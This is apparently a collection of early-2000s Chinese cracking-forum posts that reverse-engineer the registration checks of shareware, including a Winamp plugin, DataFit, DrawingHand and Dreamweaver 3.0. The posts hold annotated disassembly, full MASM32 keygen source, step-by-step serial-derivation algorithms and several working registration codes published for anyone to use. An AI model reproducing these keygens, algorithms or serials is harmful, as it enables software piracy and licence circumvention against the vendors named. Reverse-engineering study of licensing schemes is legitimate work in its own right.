:10003070 83C602 add esi, 00000002
:10003073 EB8D jmp 10003002 <------------- //向上跳,跳到<1>

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000300C(C)
|
:10003075 8B742440 mov esi, dword ptr [esp+40] //这里是假码,下d esp+40
:10003079 8D442414 lea eax, dword ptr [esp+14] //这里是真码,下d esp+14

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000309F(C)

跟进<1> *
*************************************
* Referenced by a CALL at Addresses:
|:10003047 , :10003060
|
:10002F40 8B442404 mov eax, dword ptr [esp+04] //将结果放入EAX
:10002F44 B93E000000 mov ecx, 0000003E <---------//ECX=3e
:10002F49 25FF000000 and eax, 000000FF <---------//取EAX最后两位
:10002F4E 99 cdq
:10002F4F F7F9 idiv ecx <------------------//eax/ecx al=商 dl=余
:10002F51 B03D mov al, 3D <----------------//al=3d
:10002F53 2AC2 sub al, dl <----------------//al=al-dl
:10002F55 3C09 cmp al, 09 <----------------//比较
:10002F57 88442404 mov byte ptr [esp+04], al //al放入[esp+04]
:10002F5B 761A jbe 10002F77 <--------------//不低于或等于
:10002F5D 3C23 cmp al, 23 <---------------//比较
:10002F5F 8B442404 mov eax, dword ptr [esp+04] //[esp+04]放入eax
:10002F63 7609 jbe 10002F6E <--------------//不低于或等于
:10002F65 25FF000000 and eax, 000000FF <---------//取EAX最后两位
:10002F6A 83C03D add eax, 0000003D <---------//eax=eax+3d
:10002F6D C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10002F63(C)
|
:10002F6E 25FF000000 and eax, 000000FF <---------//取EAX最后两位
:10002F73 83C037 add eax, 00000037 <---------//eax=eax+37
:10002F76 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10002F5B(C)
|
:10002F77 8B442404 mov eax, dword ptr [esp+04] //[esp+04]放入eax
:10002F7B 25FF000000 and eax, 000000FF <---------//取EAX最后两位
:10002F80 83C030 add eax, 00000030 <---------//eax=eax+30
:10002F83 C3 ret

都不知道那些XOR是怎么计算的，现在写出过程!

我的注册名:black

整理：b与bl异或,bl再和第二位注册名异或得出bl再和第三位异或……到最后一位得出bl。
里异或的第一次过进
bl与b(62)得bl=62
bl与l(6c)得bl=e
bl与a(61)得bl=6f
bl与c(63)得bl=c
bl与k(6b)得bl=67
<B>整理：正注册码的0位开始放入cl与上面的bl异或得出bl,bl与8d异或得出bl,bl保留下次现计。
<B>里异或的第一次过进
第一次 cl(0)与bl(67)得cl=67
cl与8d得cl=ea
cl保留到bl=ea
第二次 cl(30)与bl得cl=da
cl与8d得cl=57
cl保留到bl=57
第三次 cl(54)与bl得cl=3
cl与8d得cl=8e
cl保留到bl=8e
第四次 cl(63)与bl得cl=ed
cl与8d得cl=60
cl保留到bl=60
第五次 cl(48)与bl得cl=28
cl与8d得cl=a5
cl保留到bl=a5
<C>整理：注册名的最后一位dl和注册码第一位al异或，得出dl位异或，再与D8异或……得出dl
<C>里异或的第一次过进
第一次 dl(67)与al(44)得dl=2f
dl与D8得dl=f7
第二次 dl(63)与al(61)得dl=2
dl与D8得dl=da
第三次 dl(61)与al(68)得dl=9
dl与D8得dl=d1
第四次 dl(6c)与al(52)得dl=32
dl与D8得dl=e6
第五次 dl(62)与al(4d)得dl=29
dl与D8得dl=f1
    【请大哥级的高手帮一下小弟，讲解一下<B><C>xor的计算过程】

    最后得出
    注册名：black
    注册码：D0aTHcRHK6 (注意大小写）

     要各位大哥们帮我写个注册机来
先谢谢大哥们了

标 题:一点小意见，不知对否…… (3千字)
发信人:LILITH[CNCG]
时 间:2001-12-17 20:41:42
详细信息:

与我同时出道的随风而去[CNCG]兄今天终于搞出了他的第一个算法，实在是可喜可贺！呵呵，我看了看，但居然发现有一些地方还存在问题，最奇怪的是我跟踪过程中看到的地址竟完全不同，不过指令大致一样，所以写了出来，望大家多多指教。
具体跟踪过程及取注册码风兄已说得很清楚，在此不再哆嗦，只是我跟的地址有所不同，所以我干脆一步到位，下bpx GETDLGITEMTEXTA断点，再按一下F12就到达程序领空，不用按10次F10，然后跟进风兄提及到的第一个Call中。

0177:015C2F90 SUB ESP,BYTE +28
0177:015C2F93 PUSH EBP
0177:015C2F94 MOV EBP,[ESP+30]
0177:015C2F98 TEST EBP,EBP
0177:015C2F9A PUSH EDI
0177:015C2F9B JZ NEAR 015C30CA
0177:015C2FA1 MOV EDX,[ESP+38]
0177:015C2FA5 TEST EDX,EDX
0177:015C2FA7 JZ NEAR 015C30CA
0177:015C2FAD MOV EDI,EBP
0177:015C2FAF OR ECX,BYTE -01
0177:015C2FB2 XOR EAX,EAX
0177:015C2FB4 REPNE SCASB
0177:015C2FB6 NOT ECX
0177:015C2FB8 DEC ECX
0177:015C2FB9 JZ NEAR 015C30CA
0177:015C2FBF MOV EDI,EDX
0177:015C2FC1 OR ECX,BYTE -01
0177:015C2FC4 REPNE SCASB
0177:015C2FC6 NOT ECX
0177:015C2FC8 DEC ECX
0177:015C2FC9 JZ NEAR 015C30CA
0177:015C2FCF PUSH EBX
0177:015C2FD0 XOR BL,BL
0177:015C2FD2 MOV ECX,08
0177:015C2FD7 LEA EDI,[ESP+11]
0177:015C2FDB MOV [ESP+10],BL
0177:015C2FDF XOR EDX,EDX
0177:015C2FE1 REP STOSD
0177:015C2FE3 MOV EDI,EBP
0177:015C2FE5 OR ECX,BYTE -01
0177:015C2FE8 REPNE SCASB
0177:015C2FEA NOT ECX
0177:015C2FEC DEC ECX
0177:015C2FED PUSH ESI
0177:015C2FEE TEST ECX,ECX
0177:015C2FF0 MOV [ESP+3C],ECX
0177:015C2FF4 JNG 015C3000
0177:015C2FF6 MOV AL,[EDX+EBP] \\取用户名第一位字母十六进制值并存入al
0177:015C2FF9 XOR BL,AL \\al与bl相异或，结果存入bl
0177:015C2FFB INC EDX \\edx的值递增,初值为0
0177:015C2FFC CMP EDX,ECX \\取完一位后edx的值变1，与ecx比较，(ecx值为用户名长度)
0177:015C2FFE JL 015C2FF6　　 \\当edx小于ecx时跳到上面继续取用户名，至取完后则跳
0177:015C3000 XOR ESI,ESI \\这里esi清零
0177:015C3002 CMP ESI,BYTE +08 \\奇怪的是上面清零后esi当然不可能等于8
0177:015C3005 JL 015C300E　　 \\我跟到这里是不跳的，只有改变跳转才能去到计注册码的地方？
0177:015C3007 LEA EAX,[ECX+ECX]
0177:015C300A CMP ESI,EAX
0177:015C300C JNL 015C3075
0177:015C300E MOV EDI,EBP
0177:015C3010 OR ECX,BYTE -01
0177:015C3013 XOR EAX,EAX
0177:015C3015 REPNE SCASB
0177:015C3017 MOV EAX,ESI
0177:015C3019 CDQ
0177:015C301A NOT ECX
0177:015C301C SUB EAX,EDX
0177:015C301E DEC ECX
0177:015C301F SAR EAX,1
0177:015C3021 XOR EDX,EDX
0177:015C3023 DIV ECX
0177:015C3025 CMP ESI,BYTE +01
0177:015C3028 MOV EDI,EDX
0177:015C302A JNG 015C3031
0177:015C302C LEA EAX,[ESI-01]
0177:015C302F JMP SHORT 015C3033
0177:015C3031 XOR EAX,EAX
0177:015C3033 MOV CL,[ESP+EAX+14]
0177:015C3037 XOR CL,BL
0177:015C3039 XOR CL,8D
0177:015C303C MOV BL,CL
0177:015C303E MOV [ESP+10],BL
0177:015C3042 MOV EDX,[ESP+10]
0177:015C3046 PUSH EDX
0177:015C3047 CALL 015C2F40
0177:015C304C MOV ECX,[ESP+40]
0177:015C3050 MOV [ESP+ESI+18],AL
0177:015C3054 SUB ECX,EDI
0177:015C3056 MOV DL,[ECX+EBP-01]
0177:015C305A XOR DL,AL
0177:015C305C XOR DL,D8
0177:015C305F PUSH EDX
0177:015C3060 CALL 015C2F40
0177:015C3065 MOV ECX,[ESP+44]
0177:015C3069 ADD ESP,BYTE +08
0177:015C306C MOV [ESP+ESI+15],AL
0177:015C3070 ADD ESI,BYTE +02
0177:015C3073 JMP SHORT 015C3002
0177:015C3075 MOV ESI,[ESP+40]\\经过上面的跳转已经来到这里，假注册出现
0177:015c3079 lea eax, dword ptr [esp+14] //这里存放了真的注册码,下d esp+14

总结：跟了一遍，发现与风兄所写的有很大出入，不知是否我的Winamp版本问题？
我的注册名和注册码：
CNCG
rApCpHu9

谨以此文献给我的好朋友风兄!

标 题:靠，MASM32注册机!!!! (5千字)
发信人:WenXinJY
时 间:2001-12-18 8:29:17
详细信息:

;=====dwakg.asm=====
;去掉了.data段的6个定义，加上了自动生成注册码功能，去除了错误提示。其余两个文件照旧。
.386
.model flat,stdcall
option casemap:none
include hd.h
_WinMain Proto :DWORD,:DWORD,:DWORD,:DWORD
Calculation Proto

.const
DLG_MAIN equ 1000
IDC_UN equ 1001
IDC_SN equ 1002
ID_GEN equ 1003
ID_EXIT equ 1004

.data
MsgCap db "Dance Revlution for winamp 注册机 by WenXinJY",0
hInstance dd 0
UserLen dd 0
szFormat db "%i",0
UserID db 80 dup (0)
SN db 80 dup (0)

.radix 16

.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _WinMain,NULL
invoke ExitProcess,NULL

_WinMain proc uses ebx edi esi, \
hWnd:DWORD,wMsg:DWORD,wParam:DWORD,lParam:DWORD

mov eax,wMsg
.if eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke SetWindowText,hWnd,ADDR MsgCap
invoke SendDlgItemMessage,hWnd,IDC_SN,EM_SETREADONLY,TRUE,NULL
.elseif eax == WM_COMMAND
mov eax,wParam
AND EAX,0FFFFH
CMP EAX,IDC_UN
JZ gENkEY
.IF lParam!=0
.if eax==ID_GEN
gENkEY:
invoke RtlZeroMemory,addr UserID,80
invoke RtlZeroMemory,addr SN,80
invoke GetDlgItemText, hWnd, IDC_UN, addr UserID, 80
.if eax!=NULL
mov UserLen,eax
invoke Calculation
invoke SetDlgItemText, hWnd, IDC_SN, addr SN
.endif
.elseif eax==ID_EXIT
invoke SendMessage,hWnd,WM_CLOSE,NULL,NULL
.endif
.ENDIF
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_WinMain ENDP

Calculation Proc
pushad
lea esi,UserID
xor ebx,ebx
mov ecx,UserLen
mov ebp,ecx
shl ebp,1
Cal_Lop_1:
lodsb
xor bl,al ;don't change bl
loop Cal_Lop_1

xor esi,esi
Cal_Next:
cmp esi,8
jl Cal_Lab_0
cmp esi,ebp
jge Cal_Exit
Cal_Lab_0:
mov eax,esi
test eax,eax
jz Cal_Lab_1
dec eax
Cal_Lab_1:
mov edi,esi
shr edi,1 ;save
mov cl,SN[eax]
xor cl,bl
xor cl,8dh
mov bl,cl ;save
movzx eax,cl
mov ecx,3eh
cdq
idiv ecx
mov al,3Dh
sub al,dl
cmp al,9
jbe Cal_OK_11
cmp al,0ah+1ah ;10个数字+26个大写字母
jb Cal_OK_12
add al,'a'-(0a+1ah) ;转化为小写字母
jmp Cal_Lab_3
Cal_OK_11:
add al,'0' ;转化为数字
jmp Cal_Lab_3
Cal_OK_12:
add al,'A'-0ah ;转化为大写字母
Cal_Lab_3:
mov SN[esi],al

mov ecx,UserLen
sub ecx,edi
mov dl,UserID[ecx-1]
xor dl,al
xor dl,0d8h
movzx eax,dl
mov ecx,3eh
cdq
idiv ecx
mov al,3dh
sub al,dl
cmp al,9
jbe Cal_OK_21
cmp al,0ah+1ah ;10个数字+26个大写字母
jb Cal_OK_22
add al,'a'-(0a+1ah) ;转化为小写字母
jmp Cal_Lab_4
Cal_OK_21:
add al,'0' ;转化为数字
jmp Cal_Lab_4
Cal_OK_22:
add al,'A'-0ah ;转化为大写字母
Cal_Lab_4:
inc esi
mov SN[esi],al
inc esi
jmp Cal_Next
Cal_Exit:
popad
ret
Calculation Endp
End start
;======dfwakg.rc=========
#include <\masm32\include\resource.h>
#define DLG_MAIN 1000
#define IDC_UN 1001
#define IDC_SN 1002
#define ID_GEN 1003
#define ID_EXIT 1004
2 icon key.ico
DLG_MAIN DIALOG 64,53,240,52
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Dance Revlution for winamp 注册机 by WenXinJY"
FONT 9, "宋体"
{
DEFPUSHBUTTON "注册", ID_GEN, 200, 8, 30, 14
PUSHBUTTON "退出", ID_EXIT, 200, 26, 30, 14
EDITTEXT IDC_UN, 40, 10, 150, 12, WS_BORDER | WS_TABSTOP
EDITTEXT IDC_SN, 40, 29, 150, 13, WS_BORDER | WS_TABSTOP
LTEXT "用户名:", -1, 8, 12, 30, 10
LTEXT "注册码:", -1, 8, 30, 30, 9
}

;========hd.h==========
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
include \masm32\include\comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib


DataFit V7.0.36

 标 题:DataFit V7.0.36注册过程的分析 (9千字)
发信人:robot
时 间:2001-11-9 21:42:28
详细信息:
软件简介：DataFit是一个科学与工程工具，用来对数据进行绘图、回归分析和统计分析。软件已内置上百个数学模型，并可由用户自己设定数学模型，对于初学者和专家来说，该软件都是一个高效率的易于使用的曲线拟合和分析的工具。(本人在10多年前上大学时就对曲线拟合情有独钟，使用了一下该软件，对它的曲线拟合真是印象很深，简单说就是傻瓜也能把一组复杂的数据拟合出很好的结果——尽管有的曲线拟合得非常好，但又让我觉得拟合的非常没有道理)
下载地址：http://www.oakdaleengr.com/download.htm
分析工具：IDA Pro 4.15，SmartCheck 6.60
前言：要想获得这个软件的注册码相对来说，需要费一番功夫的。去年曾经用SoftICE和SmartCheck追过，追了半天追不出来，最后只好采用暴破的形式使之成为注册版，很丑。今年经过对几个VB程序的注册码的分析，信心大增，于是又开始跟这个软件搏斗，不过还好，终于解决了。这个软件的注册码的生成确实经过该公司软件设计人员的考虑，因此虽然最后仍然是通过STRCMP这个函数进行比较的，但由于是通过对注册码进行变换之后的比较，因此通过中断STRCMP获得字符串来进行注册肯定是不行的(即非明码比较)，只有了解了该软件注册码的计算过程，才能够获得注册码，其中的关键就是注册码的变换过程。不过由于有IDA Pro和SmartCheck这两个利器，同时该软件并没有采取不可逆算法，这个程序注册码的计算还是分析出来的。

分析过程：启动SmartCheck，选择打开datafit.exe，运行后会显示评估版(EVALUATION COPY)对话框，按“继续”按钮后进入主程序。选择Help菜单下的Enter license命令，会弹出Enter license对话框，让你输入许可号，经过分析知道，这里最好输入16个字母，大小写无关，如：ABCDEFGHIJKLMNOP(为什么输入这样的字符串，摸索出来的嘛，一般来说，分析注册过程要避免输入这种字符串，但这个软件是个例外，输入这种字符串后，可以很清楚地知道字符串变换后各自的位置，这样可以在SmartCheck中就可以清楚看出字符串的变换过程，减少在IDA中通过观察反汇编结果来分析程序的过程)，输入后软件直接退出该对话框，不会显示什么“注册码不正确”之类的容易被人利用的信息，不过没关系。退出DataFit，软件又会显示评估版对话框，单击“Exit Datafit”按钮退出。现在，SmartCheck已经把整个运行Datafit的过程忠实地记录下来了，结合IDA分析吧。

在SmartCheck中找到Parentfrm_Unload，移动鼠标向下不远就是注册码的变换过程了。

流程：Parentfrm_Unload
:007DABF3 call sub_51E9C0 ;退出是保存设定
:007DABF8 cmp word_952108, bx
:007DABFF jz short loc_7DAC29
:007DAC01 call sub_56E5C0 ;注册码的变换及比较过程，call见下面
:007DAC06 mov eax, dword_952104
:007DAC0B mov ecx, dword_952100
:007DAC11 push eax
:007DAC12 push ecx
:007DAC13 call ds:__vbaStrCmp ;字符串比较

注册码的变换及比较过程
:0056E5C0 push esi
:0056E5C1 mov esi, ds:__vbaStrCopy
:0056E5C7 mov edx, offset dword_455228 ;值为1ah
:0056E5CC mov ecx, offset dword_952100
:0056E5D1 call esi ; __vbaStrCopy
:0056E5D3 mov edx, offset dword_455228
:0056E5D8 mov ecx, offset dword_952104
:0056E5DD call esi ; __vbaStrCopy
:0056E5DF mov eax, dword_9520FC
:0056E5E4 push eax
:0056E5E5 call sub_94B400 ;注册码的变换过程
:0056E5EA mov esi, ds:__vbaStrMove
:0056E5F0 mov edx, eax
:0056E5F2 mov ecx, offset dword_952104
:0056E5F7 call esi ; __vbaStrMove
:0056E5F9 push offset dword_952104
:0056E5FE call sub_5A0E90 ;注册码的比较过程
:0056E603 mov edx, eax
:0056E605 mov ecx, offset dword_952100
:0056E60A call esi ; __vbaStrMove
:0056E60C pop esi
:0056E60D retn

注册码的变换过程：
:0094B463 call sub_94A600 ;获得注册码字符串的长度并用Mid函数检测字符
:0094B475 mov edx, [ebp+var_20]
:0094B478 push edx
:0094B479 call sub_94A810 ;变换1
:0094B496 mov eax, [ebp+var_20]
:0094B499 push eax
:0094B49A call sub_94AD90 ;变换2
:0094B4B2 mov edx, [ebp+var_20]
:0094B4B5 push edx
:0094B4B6 call sub_94AA70 ;变换3
:0094B4C2 mov eax, [ebp+var_20]
:0094B4C5 push eax
:0094B4C6 call sub_94AF30 ;变换4
:0094B4D2 mov ecx, [ebp+var_20]
:0094B4D5 push ecx
:0094B4D6 call sub_94A810 ;变换5

注册码的变换过程：
变换1：通过Mid函数取字符，先取偶数位字符放到前面，然后奇数位字符放到后面
结果：ABCDEFGHIJKLMNOP ====> BDFHJLNPACEGIKMO

变换2：字符串左边3个放到最后，然后转为小写
结果：BDFHJLNPACEGIKMO ====> hjlnpacegikmobdf

变换3：用Mid函数每次取1个字符，令该字符的ASCII值-61h，如果该值大于19h，则结果为0h，否则用下表变换：
新字符：abcdefghijklmnopqrstuvwxyz 或 新字符：lesiaxkcpgnmvrzfbhjuqdoywt
原字符：eqhvbpjrdsgalkwiuncztmyfxo 原字符：abcdefghijklmnopqrstuvwxyz
结果：hjlnpacegikmobdf ====> cgmrflsakpnvzeix

变换4：用Mid函数每次取1个字符，令该字符的ASCII值-0ch，如果结果不小于61h则不变，如果小于则加上1ah
结果：cgmrflsakpnvzeix ====> quaftzgoydbjnswl

变换5：同变换1
结果：quaftzgoydbjnswl ====> ufzodjslqatgybnw
经过上面5步变换后的字符串就是要比较的字符串

比较过程：call 5A0E90
:005A0F9E mov [ebp+var_64], 0FFFFFFFFh ;-1
:005A0FB1 call ds:rtcRandomNext ;Rnd(-1)
:005A0FC4 mov word ptr [ebp+var_64], 0Ah ;10
:005A0FD1 call ds:rtcRandomize ;Randomize(10)
:005A0FEC mov eax, 12Ch ;300
:005A0FF1 cmp word ptr [ebp+var_2C], ax ;是否进行了300次
:005A0FF5 jg loc_5A1126 ;是则转
:005A1009 mov esi, 1
:005A100E mov eax, 10h ;16
:005A1013 cmp si, ax ;是否进行了16次
:005A1016 jg loc_5A10F4 ;是则转而比较变换字符串与新“随机”生成的是否相同
:005A102E call ds:rtcRandomNext ;取随机数
:005A1034 fstp [ebp+var_260] ;放到[ebp+var_260]中
:005A103A mov eax, 7Ah
:005A103F mov cx, ax
:005A1042 mov eax, 61h
:005A1047 sub cx, ax
:005A104A jo loc_5A234B
:005A1050 add cx, 1 ;7ah-61h+1=1ah
:005A105A movsx edx, cx
:005A105D mov [ebp+var_288], edx
:005A1063 fild [ebp+var_288]
:005A1069 fstp [ebp+var_28C]
:005A106F fld [ebp+var_28C]
:005A1075 fmul [ebp+var_260] ;1ah*随机数
:005A107B movsx eax, ax ;eax=61h
:005A107E mov [ebp+var_290], eax
:005A1084 fild [ebp+var_290]
:005A108A fstp [ebp+var_294]
:005A1090 fadd [ebp+var_294] ;61h+1ah*随机数
:005A10A0 call ds:__vbaR8IntI2 ;取整
:005A10B9 call ds:rtcBstrFromAnsi ;根据ASCII值取相应的字符，即VB的chr函数
:005A10CF lea ecx, [ebp+var_3C]
:005A10D2 call ebx ; __vbaStrMove ;放到[ebp+var_3C]
:005A10DD mov eax, 1
:005A10E2 add ax, si ;计数器加1
:005A10EB mov esi, eax
:005A10ED xor edi, edi
:005A10EF jmp loc_5A100E ;取下一个字符
:005A10F4 mov eax, [ebp+arg_0]
:005A10F7 mov ecx, [eax]
:005A10F9 push ecx
:005A10FA mov edx, [ebp+var_3C]
:005A10FD push edx
:005A10FE call ds:__vbaStrCmp ;字符串比较
:005A1104 test eax, eax
:005A1106 jz short loc_5A111F ;相等则转(注册码正确)
:005A1108 mov eax, 1
:005A110D add ax, word ptr [ebp+var_2C] ;计数器加1
:005A1117 mov [ebp+var_2C], eax
:005A111A jmp loc_5A0FEC ;取下一组(共300组)

上面的过程用VB表示就是：
Rnd(-1):Randomize(10)
for i=1 to 300:Rand_Code=""
for j=1 to 16:Rand_Code=Rand_Code+Chr(int(&H61+Rnd*&H1A)):next j
if Rand_Code="ufzodjslqatgybnw" then
注册码正确:exit sub
endif
next i

应该注意：上面虽然是随机生成的300个注册码，但由于固定了随机种子，因此300个注册码也是固定的，但不知不同机器的随机种子值是否相同，从我测试的来看，各机器间的随机种子值是相同的，因此注册码应是通用的。不过有5个肯定是通用的，原因见下面：
从5A1130-5A1EE4将变换字符串分别与下面5组固定字符串进行比较，如果相同则注册码正确：
(1) acllkakiojgoymjg (2) cpnikjlaepkvccfo (3)qhkxakuwdkzuaaol (4) lvzlpckxgecgeunm (5) mflkssoltlajgjmp
如果与上面的均不相同则生成下列字符串："areaunder"(语句5A1F10-5A2074)并返回
如果注册码正确则[ebp+var_44]=-1，否则=0

注册码的反推：
设Regcode为最终参与比较的字符串(看上面，共305个)，Regcode1为反推出的注册码
说明：注册码的长度为16且均是字母，这里反推出的注册码为小写的，实际输入时大小写无关。
步骤1：for i=1 to 8:Regcode1=Regcode1+mid(Regcode,i+8,1)+mid(Regcode,i,1)
步骤2：for i=1 to 16
if asc(mid(Regcode1,i,1)) <=&H6E then
mid(Regcode,i,1)=chr(asc(mid(Regcode1,i,1))+&HC)
else
mid(Regcode,i,1)=chr(asc(mid(Regcode1,i,1))+&HC-&H1A)
end if
步骤3：for i= to 16
mid(Regcode1,i,1)=mid("eqhvbpjrdsgalkwiuncztmyfxo",(Asc(mid(Regcode,i,1))-&H60),1)
步骤4：Regcode=Right(Regcode1,3)+Left(Regcode1,13)
步骤5：Regcode1="":for i=1 to 8:Regcode1=Regcode1+mid(Regcode,i+8,1)+mid(Regcode,i,1)

注册器已做成，5个通用的注册码中的一个为：OFRETLWUYWWQMQNY，通过随机种子生成的300个注册码中的一个为：CKVVZSTQYVKKJXQB，如果大家下载了这个软件，请测试并报告一下后面的随机生成的注册码是否可以注册成功，如果成功则说明那300个随机生成的注册码也是通用的。

补充说明：我分析的这个版本是V7.0.36，目前该网站提供的版本是V7.1.44，我下载回来分析了一下，注册过程一点没变，上面的注册分析过程同样适用于新的版本。
另外，注册表中H.L.M\Software\Oakdale Engineering\DataFit\Version\desckey值表示的是软件第一次运行的时间，跟序列号无关，注册成功后，会建立一个License的键值，即正确的注册码字符串。


DrawingHand v4.0

 标 题:DrawingHand v4.0 (7千字)
发信人:lancelot[CCG]
时 间:2001-9-19 19:03:14
详细信息:
一个屏幕保护程序，挺好玩的，不妨一试
下载：http://software.wx88.net/down/drawinghand.zip
难得碰到这么好破的软件，拿上来与大家共享，该软件声称自己是在线注册，云云
结果被我用W32Dasm两分钟搞定。

第一步搜索 string data reference 找 registered 来到

* Possible StringData Ref from Data Obj ->"Configuration"
|
:00403408 68D8124200 push 004212D8
:0040340D FFD7 call edi
:0040340F 6A00 push 00000000
:00403411 50 push eax
:00403412 68F1000000 push 000000F1
:00403417 681C040000 push 0000041C
:0040341C 56 push esi
:0040341D A3C0384200 mov dword ptr [004238C0], eax
:00403422 FFD3 call ebx
:00403424 A14CC04300 mov eax, dword ptr [0043C04C]<--------注意这里，如果[0043c04c]
:00403429 85C0 test eax, eax 的值为1，就为注册版
:0040342B 7443 je 00403470

* Possible StringData Ref from Data Obj ->"Registered
"
|
:0040342D 684C134200 push 0042134C
:00403432 E8290B0000 call 00403F60
:00403437 83C404 add esp, 00000004

* Possible StringData Ref from Data Obj ->"Registered"
|
:0040343A 6840134200 push 00421340
:0040343F 68F9030000 push 000003F9
:00403444 56 push esi

* Reference To: USER32.SetDlgItemTextA, Ord:022Ch
|
:00403445 FF15B0084400 Call dword ptr [004408B0]

* Reference To: USER32.GetDlgItem, Ord:0102h
|
:0040344B 8B1D94084400 mov ebx, dword ptr [00440894]
:00403451 68F9030000 push 000003F9
:00403456 56 push esi
:00403457 FFD3 call ebx

* Reference To: USER32.EnableWindow, Ord:00B7h
|
:00403459 8B3D98084400 mov edi, dword ptr [00440898]
:0040345F 6A00 push 00000000
:00403461 50 push eax
:00403462 FFD7 call edi
:00403464 68F8030000 push 000003F8
:00403469 56 push esi
:0040346A FFD3 call ebx
:0040346C 6A00 push 00000000
:0040346E EB30 jmp 004034A0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040342B(C)
|

* Possible StringData Ref from Data Obj ->"NOT Registered
"
|
:00403470 6830134200 push 00421330
:00403475 E8E60A0000 call 00403F60

* Reference To: USER32.GetDlgItem, Ord:0102h
|
:0040347A 8B1D94084400 mov ebx, dword ptr [00440894]
:00403480 83C404 add esp, 00000004
:00403483 68F9030000 push 000003F9
:00403488 56 push esi
:00403489 FFD3 call ebx

* Reference To: USER32.EnableWindow, Ord:00B7h
|
:0040348B 8B3D98084400 mov edi, dword ptr [00440898]

* Possible Reference to String Resource ID=00001: "Drawing Hand 4.0"
|
:00403491 6A01 push 00000001
:00403493 50 push eax
:00403494 FFD7 call edi
:00403496 68F8030000 push 000003F8
:0040349B 56 push esi
:0040349C FFD3 call ebx

* Possible Reference to String Resource ID=00001: "Drawing Hand 4.0"
|
:0040349E 6A01 push 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040346E(U)
|
:004034A0 50 push eax
:004034A1 FFD7 call edi
:004034A3 8D4C2410 lea ecx, dword ptr [esp+10]
:004034A7 E86D1A0100 call 00414F19
:004034AC 8D4C2414 lea ecx, dword ptr [esp+14]
:004034B0 E8641A0100 call 00414F19

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00402A61(C)
|

* Possible StringData Ref from Data Obj ->"ScreenSaverConfigureDialog = WM_DESTROY
"
|
:004034B5 6804134200 push 00421304
:004034BA E8A10A0000 call 00403F60
:004034BF 83C404 add esp, 00000004
:004034C2 E8190C0000 call 004040E0

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00402A73(C), :00402AA4(C), :00402E71(C), :00402EEC(C), :00402F2E(C)
|:00403077(C), :004030F2(C)
|
:004034C7 5F pop edi
:004034C8 5E pop esi
:004034C9 5D pop ebp
:004034CA 33C0 xor eax, eax
:004034CC 5B pop ebx
:004034CD 81C4740B0000 add esp, 00000B74
:004034D3 C21000 ret 0010
==============================================================================================

第二步搜索字符串[0043c04c]，来到这里

* Reference To: KERNEL32.GetPrivateProfileStringA, Ord:013Ah
|
:00404F2E FF1560074400 Call dword ptr [00440760]
:00404F34 8A442404 mov al, byte ptr [esp+04]
:00404F38 84C0 test al, al
:00404F3A 7448 je 00404F84
:00404F3C 8D4C2404 lea ecx, dword ptr [esp+04]
:00404F40 51 push ecx
:00404F41 8D4C2404 lea ecx, dword ptr [esp+04]
:00404F45 E8F9FF0000 call 00414F43
:00404F4A 8B442400 mov eax, dword ptr [esp]
:00404F4E 803830 cmp byte ptr [eax], 30<------------0
:00404F51 7528 jne 00404F7B
:00404F53 80780131 cmp byte ptr [eax+01], 31<---------1
:00404F57 7522 jne 00404F7B
:00404F59 80780232 cmp byte ptr [eax+02], 32<---------2
:00404F5D 751C jne 00404F7B
:00404F5F 80780338 cmp byte ptr [eax+03], 38<---------8
:00404F63 7516 jne 00404F7B
:00404F65 80780436 cmp byte ptr [eax+04], 36<---------6
:00404F69 7510 jne 00404F7B
:00404F6B 80780535 cmp byte ptr [eax+05], 35<---------5
:00404F6F 750A jne 00404F7B

* Possible Reference to String Resource ID=00001: "Drawing Hand 4.0"
|
:00404F71 C7054CC0430001000000 mov dword ptr [0043C04C], 00000001<--------看到了没,往上看看
===========================================================================================
注册码：012865
===========================================================================================

,;~;,
/\_
( /
(() //)
| \\ ,,;;'\
__ _( )m=(lancelot(================--------
/' ' '()/~' '.(, |
,;( )|| | ~
,;' \ /-(.;, ) 兰斯洛特[CCG][FCG]
) / ) /
// || 2001.09.19
)_\ )_\
=======================================================


DreamWaver3.0

 标 题:DreamWaver3.0注册流程分析 (17千字)
发信人:夜月
时 间:2001-9-10 18:05:20
详细信息:

DreamWaver3.0注册流程分析

作者: 夜月
E-mail:luoyi.ly@yeah.net
写作日期:31th, August 2001

软件背景资料

运行平台: Win9X
文件名称: DreamWaver.exe
程序类型: 网页制作工具
下载地点: 未知
文件大小: 不详

使用的工具

Trw2000 V1.23--Win9X Debugger
Turboc V2.00--KeyGen Compiler1
Masm32 V5.00--KeyGen Compiler2
难易程度

Easy( ) Medium(X) Hard( ) Pro( )

------------------=====Declare=====------------------

未经作者同意，不得修改、引用原文，一切权利保留。
本教程只供教学用，其他一切用途皆被禁止。
------------------=====Begin=====------------------
给三个能用的DreamWaver3.0的注册码：
（1） DWW300-71511-95480-68658
（2） WBW300-79525-15490-68658
（3） WLW300-70814-65498-68658
由此可以看出DreamWaver的注册码应该满足以下几个基本条件：
（Str[]指向注册码字符串）
（A) strlen(Str)=24
（B） Str[6],Str[12],Str[18]固定为“-”
（C） Str[3]——Str[7] 检验得知：如果为“300-7”则生成的是教学班的序列号
如果为“300-0”则生成的是完全版的序列号
（D） Str[0]——Str[2]有三个可选项。程序安装成功后，每一个字符串都可以注册成功。但在安装程序
